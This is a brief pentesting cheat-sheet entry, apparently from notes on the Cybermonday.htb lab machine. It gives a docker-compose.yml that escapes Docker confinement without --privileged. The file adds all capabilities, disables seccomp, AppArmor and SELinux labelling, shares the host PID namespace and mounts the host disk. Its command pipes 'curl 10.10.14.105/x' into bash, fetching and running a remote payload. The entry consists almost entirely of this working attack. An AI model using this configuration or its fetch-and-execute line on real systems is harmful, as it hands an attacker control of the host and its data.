Docker

Mounts

  • docker-compose.yml

# when --privileged flag is forbidden (Cybermonday.htb)
version: "3"
services:
  meow:
    build: /dev/shm  # Place Dockerfile in this Dir
    cap_add:
      - ALL
    security_opt:
      - "seccomp=unconfined"
      - "apparmor=unconfined"
      - "label:disable"
    pid: host
    devices:
      - "/dev/sda1:/dev/sda1"
    command: bash -c "curl 10.10.14.105/x | bash"

Last updated